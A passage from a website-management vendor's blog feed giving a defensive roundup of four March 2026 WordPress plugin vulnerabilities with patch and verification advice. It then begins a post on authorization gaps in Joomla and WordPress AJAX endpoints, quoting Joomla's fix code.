&lt;p&gt;What can an attacker do with it? Steal admin session cookies, redirect users, deface content, or inject SEO spam. XSS in a plugin installed on 10 million sites is a wide attack surface, even with the contributor-level authentication requirement. Sites with open registration, guest author accounts, or compromised low-privilege credentials are the obvious targets.&lt;/p&gt;
&lt;p&gt;Yoast’s 27.2 changelog mentions “adds sanitization to duration text for the HowTo block” without naming the CVE directly. This is normal - most vendors downplay security fixes in their changelogs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your Yoast SEO versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f1263de85d3f10996c0a7f8f55cf7e58&quot;&gt;Open Yoast SEO Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Shows which of your sites run Yoast SEO 27.1.1 or earlier. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;WPForms - Sensitive Data Exposure (CVE-2026-25339)&lt;/h3&gt;





































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;CVE-2026-25339&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Medium (score not yet assigned by NVD)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Sensitive Data Exposure&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions up to 1.9.9.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;1.9.9.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No - unauthenticated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Not publicly attributed&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This one requires no login at all. An unauthenticated attacker can trigger sensitive data exposure from WPForms. The exact technical mechanism has not been fully documented publicly, but the vulnerability is confirmed across multiple security databases including the Sucuri March 2026 roundup and Patchstack.&lt;/p&gt;
&lt;p&gt;WPForms is the most popular form plugin for WordPress. It collects contact form submissions, payment details, registration data, and application forms. A data exposure flaw in a form plugin deserves urgent attention because the data it handles is sensitive by definition.&lt;/p&gt;
&lt;p&gt;The current version on wordpress.org is 1.10.0.2, so 1.9.9.2 is now several releases behind. If you are still on 1.9.9.x, update immediately.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your WPForms versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/cc7d0bb668e89ba461c945588ef2008e&quot;&gt;WPForms Lite&lt;/a&gt; &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/334cd5ef5a7c73a6255c3d6c33204ee1&quot;&gt;WPForms Pro&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Both Lite and Pro editions are affected - check which version each of your sites is running. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Really Simple Security - Broken Access Control (CVE-2026-32461)&lt;/h3&gt;





































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-32461&quot;&gt;CVE-2026-32461&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Missing Authorization (CWE-862)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All versions through 9.5.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.5.8&lt;/strong&gt; (February 26, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No - unauthenticated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Or Benit (via Patchstack Bug Bounty)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Really Simple Security (formerly Really Simple SSL) had missing authorization checks on certain plugin functions. An unauthenticated attacker can call these functions to modify plugin settings without logging in.&lt;/p&gt;
&lt;p&gt;The CVSS vector confirms integrity impact only - no data theft, no denial of service. The likely practical attack is manipulating SSL/security settings: disabling HTTPS enforcement, altering security rules, or weakening the site’s security posture to enable follow-up attacks like session hijacking over unencrypted connections.&lt;/p&gt;
&lt;p&gt;Note the patch date: February 26, over five weeks ago. The CVE was published March 13. If your sites have not updated to at least 9.5.8 in over a month, your update process needs attention.&lt;/p&gt;
&lt;h2&gt;Why Did These All Ship in the Same Month?&lt;/h2&gt;
&lt;p&gt;March 2026 was unusually busy for WordPress plugin security. Beyond these four, we also covered &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3’s arbitrary file read&lt;/a&gt; (CVE-2026-3098) and the broader pattern of &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoint authorization failures&lt;/a&gt; across both WordPress and Joomla ecosystems. The pattern continued into April with &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads (CVE-2026-0740)&lt;/a&gt;, a CVSS 9.8 unauthenticated RCE in another WordPress plugin AJAX handler affecting around 50,000 sites.&lt;/p&gt;
&lt;p&gt;This is not a coordinated attack. It is the natural result of increased security research activity. The Wordfence Bug Bounty and Patchstack Bug Bounty programs have been scaling up, paying researchers to audit popular plugins. More researchers auditing more plugins means more vulnerabilities found and disclosed. The patches come in waves because the responsible disclosure timelines converge.&lt;/p&gt;
&lt;p&gt;The takeaway is better process, not panic. If checking four plugins across your portfolio takes manual effort, you will fall behind when the next wave hits.&lt;/p&gt;
&lt;h2&gt;How to Check If Your Sites Are Patched&lt;/h2&gt;
&lt;h3&gt;Manual Check (Single Site)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into wp-admin&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins &amp;gt; Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find each plugin and compare the version number:&lt;/li&gt;
&lt;/ol&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Plugin&lt;/th&gt;&lt;th&gt;Minimum safe version&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Elementor&lt;/td&gt;&lt;td&gt;3.35.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Yoast SEO&lt;/td&gt;&lt;td&gt;27.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WPForms&lt;/td&gt;&lt;td&gt;1.9.9.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Really Simple Security&lt;/td&gt;&lt;td&gt;9.5.8&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;ol&gt;
&lt;li&gt;If any version is lower, click &lt;strong&gt;Update Now&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Bulk Check With mySites.guru (Unlimited Sites)&lt;/h3&gt;
&lt;p&gt;mySites.guru’s WordPress Extensions page lists every plugin across all your connected sites with version numbers. Checking all four plugins takes under a minute:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Your WordPress Extensions&lt;/strong&gt; in mySites.guru&lt;/li&gt;
&lt;li&gt;Type “Elementor” in the filter bar&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Which sites?&lt;/strong&gt; to see every site running it, grouped by version&lt;/li&gt;
&lt;li&gt;Any site on 3.35.7 or earlier is vulnerable - update it&lt;/li&gt;
&lt;li&gt;Repeat for Yoast SEO, WPForms, and Really Simple Security&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sites running vulnerable versions are flagged automatically with a red “Vulnerable Plugins!” badge. You do not need to remember version numbers or cross-reference CVE databases - the dashboard does it for you.&lt;/p&gt;
&lt;p&gt;Once you’ve identified the sites that need updating, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the updates in bulk&lt;/a&gt; from the same dashboard. No SSH access required, no logging into individual admin panels.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; to see where any single site stands, or &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;sign up&lt;/a&gt; to connect your full portfolio and get this visibility across all your sites.&lt;/p&gt;
&lt;h3&gt;WP-CLI Check (Command Line)&lt;/h3&gt;
&lt;p&gt;If you have SSH access and WP-CLI installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; plugin&lt;/span&gt;&lt;span&gt; list&lt;/span&gt;&lt;span&gt; --fields=name,version,update_version&lt;/span&gt;&lt;span&gt; --format=table&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows the installed version alongside the available update version. Run it on each site, or script it across multiple servers.&lt;/p&gt;
&lt;h2&gt;What to Do After Updating&lt;/h2&gt;
&lt;p&gt;Patching is step one. For the two unauthenticated vulnerabilities (WPForms and Really Simple Security), consider whether exploitation may have occurred before you applied the patch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WPForms&lt;/strong&gt;: Review form submission logs for unusual entries. Check whether any form data was accessed by unauthorized parties. If you collect payment or personal data through WPForms, assess whether a data breach notification is required under your jurisdiction’s privacy laws.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Really Simple Security&lt;/strong&gt;: Check your SSL/security settings are still correctly configured. Verify HTTPS enforcement is active. Review the plugin’s settings page for unexpected changes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Both&lt;/strong&gt;: Run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; and check for &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;signs of compromise&lt;/a&gt;. Look for unfamiliar admin accounts, modified files, or unexpected cron jobs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the two authenticated vulnerabilities (Elementor and Yoast SEO), review your user list. If any contributor or author accounts were created without your knowledge, that is worth investigating regardless of these specific CVEs.&lt;/p&gt;
&lt;h2&gt;Are Auto-Updates Enough?&lt;/h2&gt;
&lt;p&gt;WordPress supports per-plugin auto-updates, and many hosts enable them by default. In theory, your sites should have received these patches automatically. In practice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some agencies &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates&lt;/a&gt; for stability reasons&lt;/li&gt;
&lt;li&gt;Some hosts delay or batch auto-updates&lt;/li&gt;
&lt;li&gt;Plugin auto-updates can fail if the site has filesystem permission issues&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;Minor-only auto-update policies&lt;/a&gt; may not catch plugin updates at all&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Auto-updates are a good safety net, not a replacement for monitoring. The only way to be certain a patch shipped is to verify the installed version. Trust, but verify.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
      
      
      
      
      &lt;span&gt;4.6/5&lt;/span&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Rated 4.6/5 by WP Mayor&lt;/p&gt;
  &lt;p&gt;&quot;An excellent solution for agencies and developers who manage multiple WordPress and Joomla sites. The vulnerability scanning and alerting alone make it worth the subscription.&quot;&lt;/p&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot; target=&quot;_blank&quot;&gt;Read the WP Mayor review&lt;/a&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Try mySites.guru free&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-02-26&lt;/strong&gt; Really Simple Security 9.5.8 patches CVE-2026-32461 A missing authorisation flaw, CWE-862, needing no login at all, affecting every version through 9.5.7. Scored 5.3 Medium, found by Or Benit through the Patchstack Bug Bounty.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-13&lt;/strong&gt; CVE-2026-32461 is published, over two weeks after the patch If a site has not reached 9.5.8 in the month since, the update process needs attention rather than the plugin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-17&lt;/strong&gt; Yoast SEO 27.2 patches CVE-2026-3427 A stored cross-site scripting flaw at 6.4 Medium, needing a Contributor account or above, affecting every version up to 27.1.1. Found by Osvaldo Noe Gonzalez Del Rio through Wordfence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-23&lt;/strong&gt; Elementor 3.35.8 patches CVE-2026-1206 Incorrect authorisation leading to information disclosure, 4.3 Medium, also needing a Contributor account. Found by Angus Girvan through Wordfence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03&lt;/strong&gt; WPForms 1.9.9.2 patches CVE-2026-25339 An unauthenticated sensitive data exposure affecting every version up to 1.9.9.1, not publicly attributed and with no NVD score assigned. Two of the four flaws that month needed no login, and this was one of them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-06&lt;/strong&gt; We publish the roundup Four plugins installed on more than 29 million WordPress sites between them, all patched inside a month. The point is not any one of them, it is how many sites are still below the fix a month later.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2026/04/vulnerability-patch-roundup-march-2026.html&quot;&gt;Vulnerability &amp;amp; Patch Roundup - March 2026&lt;/a&gt; - Sucuri&apos;s comprehensive monthly roundup covering all four CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/&quot;&gt;Wordfence Threat Intelligence - WordPress Plugin Vulnerabilities&lt;/a&gt; - searchable database of disclosed WordPress plugin CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack Vulnerability Database&lt;/a&gt; - independent WordPress security intelligence with CVSS scoring&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/plugin-developer-faq/#auto-updates&quot;&gt;WordPress Plugin Auto-Updates Documentation&lt;/a&gt; - official WordPress developer docs on auto-update behaviour&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities Catalog&lt;/a&gt; - US government catalog of actively exploited vulnerabilities (none of these four are listed as of April 2026)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>vulnerability</category><category>updates</category><category>elementor</category><category>yoast</category><enclosure url="https://mysites.guru/img/og/blog/four-wordpress-plugins-security-patches-march-2026.png" length="0" type="image/png"/></item><item><title>AJAX Endpoints Are A Big CMS Security Blind Spot</title><link>https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/</link><guid isPermaLink="true">https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/</guid><description>Five AJAX and API vulnerabilities hit Joomla and WordPress in March 2026, all sharing one root cause. Here is what went wrong and how to protect your sites.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In March 2026, five separate AJAX and API vulnerabilities were disclosed across Joomla and WordPress. All five exploited the same weakness: AJAX endpoints that, at most, verify a CSRF token but never check who the user is or whether they have permission to perform the action.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Updates since publication&lt;/p&gt;&lt;div&gt;&lt;p&gt;April 7, 2026: the pattern continued into April. On April 6, Wordfence publicly disclosed &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;CVE-2026-0740 in Ninja Forms File Uploads&lt;/a&gt;, a CVSS 9.8 unauthenticated arbitrary file upload in another WordPress plugin AJAX handler. It affects around 50,000 sites, and the first patch the vendor shipped did not actually fix the issue - only 3.3.27 closes it. Same root cause, same surface, different plugin.&lt;/p&gt;&lt;p&gt;April 16, 2026: sixth AJAX-authorization CVE in eight weeks. &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;CVE-2026-3614 in AcyMailing&lt;/a&gt; is a CVSS 8.8 privilege escalation where any authenticated user can bypass the authorization check on the plugin’s internal router. The public CVE was published as WordPress-only, but a diff of the 10.8.1 and 10.8.2 Joomla tarballs shows the vulnerable code is in shared files - Joomla sites running 9.11.0 through 10.8.1 have the same exposure. One more cross-platform plugin CVE that only reached the WordPress half of the audience.&lt;/p&gt;&lt;p&gt;July 8, 2026: the same pattern is now being exploited at scale. Since 5 July, a botnet has been mass-defacing Joomla sites through an unauthenticated flaw in JoomShaper’s Helix3 template framework in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, reachable through the exact &lt;code&gt;com_ajax&lt;/code&gt; surface described here. It is the same root cause moving from disclosure to live, automated abuse.&lt;/p&gt;&lt;p&gt;September 19, 2026: the same shape in a Joomla gallery extension. &lt;a href=&quot;https://mysites.guru/blog/joomgallery-unauthenticated-file-upload/&quot;&gt;CVE-2026-84048 in JoomGallery&lt;/a&gt; is a resumable-upload endpoint reachable from the front end with no token check, no identity check and no permission check, affecting every 4.x release up to 4.4.1. The fix adds all three at once.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The individual vulnerabilities have since been patched. Joomla 5.4.4 added a framework-level authentication check to &lt;code&gt;com_ajax&lt;/code&gt;, and WordPress’s &lt;code&gt;admin-ajax.php&lt;/code&gt; already requires a login for non-&lt;code&gt;nopriv&lt;/code&gt; hooks. But neither system checks &lt;em&gt;authorization&lt;/em&gt; at the framework level. That is still the developer’s responsibility, and the pattern of AJAX handlers shipping without capability checks shows that too many developers do not realise it.&lt;/p&gt;
&lt;h2&gt;What makes AJAX endpoints so dangerous?&lt;/h2&gt;
&lt;p&gt;Both Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; and WordPress’s &lt;code&gt;admin-ajax.php&lt;/code&gt; were built as lightweight utility endpoints. They exist so plugins and extensions can handle AJAX requests without needing their own dedicated routes. Convenient for developers, dangerous in practice.&lt;/p&gt;
&lt;p&gt;The design assumption behind both systems is the same: the plugin on the other end will handle its own security. The AJAX handler just passes the request through. At best, it verifies a CSRF token or nonce to confirm the request was not forged. But a CSRF check is not authentication, and it is definitely not authorization. It proves the request came from a legitimate page. It does not prove who sent it or whether they should be allowed to do what they are asking.&lt;/p&gt;
&lt;p&gt;Extension developers treat these endpoints as if they were internal buses, trusting that by the time a request reaches their code, it has already been validated. But &lt;code&gt;com_ajax&lt;/code&gt; is publicly accessible. &lt;code&gt;admin-ajax.php&lt;/code&gt; is accessible to any authenticated user, including subscribers. When the plugin on the other end skips its own authorization check, you get an unauthenticated (or under-authenticated) attack surface hiding behind what looks like internal wiring.&lt;/p&gt;
&lt;p&gt;That is not a one-off, and March 2026 proved it five times over.&lt;/p&gt;
&lt;h2&gt;What is the difference between authentication and authorization?&lt;/h2&gt;
&lt;p&gt;Most of the vulnerabilities in this post confuse these two concepts, or skip both entirely.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Authentication vs. authorization&lt;/p&gt;&lt;div&gt;&lt;p&gt;Authentication is the first check: &lt;em&gt;who are you?&lt;/em&gt; Is this a real, logged-in user with a valid session? A CSRF token does not answer that. It only confirms the request was not forged from another site. Checking authentication means checking the user’s session state: &lt;code&gt;is_user_logged_in()&lt;/code&gt; in WordPress, or &lt;code&gt;$app-&amp;gt;getIdentity()-&amp;gt;id&lt;/code&gt; in Joomla (returns &lt;code&gt;0&lt;/code&gt; for guests).&lt;/p&gt;&lt;p&gt;Authorization is the second, separate check: &lt;em&gt;are you allowed to do this?&lt;/em&gt; Even if someone is logged in, they may not have permission for a specific action. A WordPress subscriber should not be able to export &lt;code&gt;wp-config.php&lt;/code&gt;. A Joomla user without admin privileges should not be able to upload files via a template framework. Checking authorization means an explicit capability check: &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; in WordPress, or &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)&lt;/code&gt; in Joomla.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Most of the AJAX vulnerabilities covered here had a CSRF token check but skipped both authentication and authorization. The request was not forged. No one checked who sent it.&lt;/p&gt;
&lt;h2&gt;Why did Joomla’s own team have to harden com_ajax?&lt;/h2&gt;
&lt;p&gt;The most telling entry in the March 2026 disclosure list is &lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629&lt;/a&gt; - and it did not come from a third-party extension. The Joomla Security Strike Team themselves found that &lt;code&gt;com_ajax&lt;/code&gt;, the component routing AJAX requests for every Joomla plugin, was excluded from the default logged-in-user check in the admin area.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;com_ajax&lt;/code&gt; in the backend did not even require a logged-in user by default. The &lt;code&gt;AdministratorApplication&lt;/code&gt; class explicitly whitelisted &lt;code&gt;com_ajax&lt;/code&gt; on the same allowlist as the login page itself, so that pre-login AJAX calls (WebAuthn/passkey flows, CAPTCHA) could work. The consequence: any unauthenticated visitor could reach backend AJAX handlers directly.&lt;/p&gt;
&lt;p&gt;Third-party developers building admin AJAX handlers could reasonably assume the framework had already verified the user was authenticated. Every other backend component required a logged-in user. &lt;code&gt;com_ajax&lt;/code&gt; did not, and nothing in Joomla’s developer documentation warned them otherwise. The official docs on &lt;code&gt;com_ajax&lt;/code&gt; focus entirely on mechanics - URL parameters, method naming, response formats - with no mention that the backend endpoint bypassed the normal login requirement.&lt;/p&gt;
&lt;p&gt;That left every extension developer responsible for rolling their own authentication and authorization checks inside every AJAX handler. Some did. Astroid and Novarain did not. And because the gap was invisible - nothing in the framework signalled that the developer needed to add those checks - the same mistake was made independently by multiple development teams.&lt;/p&gt;
&lt;p&gt;The severity was rated Low, but the implications are serious. This was not a plugin-level oversight. The framework itself had an authorization gap that every extension built on top of it inherited. The Astroid and Novarain vulnerabilities are the direct, predictable consequences of that gap.&lt;/p&gt;
&lt;h3&gt;What does the actual Joomla fix look like?&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/47b48aeceae211ae8016cf1da2b821a0d0467f55&quot;&gt;commit that fixed CVE-2026-21629&lt;/a&gt; is worth reading because it shows exactly how Joomla flipped the default. The fix adds a check at the top of &lt;code&gt;components/com_ajax/ajax.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$unauthorizedAdministratorAccessCheck &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $app&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;isClient&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;administrator&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; $app&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getIdentity&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;guest&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the request is hitting the admin-area &lt;code&gt;com_ajax&lt;/code&gt; and the user is a guest (not logged in), the fix then uses PHP reflection to inspect the target method for a new attribute called &lt;code&gt;AllowUnauthorizedAdministratorAccess&lt;/code&gt;. If the method does not have that attribute, the request is rejected with &lt;code&gt;JERROR_ALERTNOAUTHOR&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$verifyUnauthorizedAdministratorAccessCheck &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    function&lt;/span&gt;&lt;span&gt; ($classOrObject, $method)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; void&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        $reflection &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; ReflectionMethod&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            $classOrObject,&lt;/span&gt;&lt;span&gt; $method&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        );&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        foreach&lt;/span&gt;&lt;span&gt; ($reflection&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getAttributes&lt;/span&gt;&lt;span&gt;() &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $attribute) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            if&lt;/span&gt;&lt;span&gt; ($attribute&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getName&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                ===&lt;/span&gt;&lt;span&gt; AllowUnauthorizedAdministratorAccess&lt;/span&gt;&lt;span&gt;::class&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            ) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                return&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        throw&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; RuntimeException&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;JERROR_ALERTNOAUTHOR&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        );&lt;/span&gt;&lt;/span&gt;
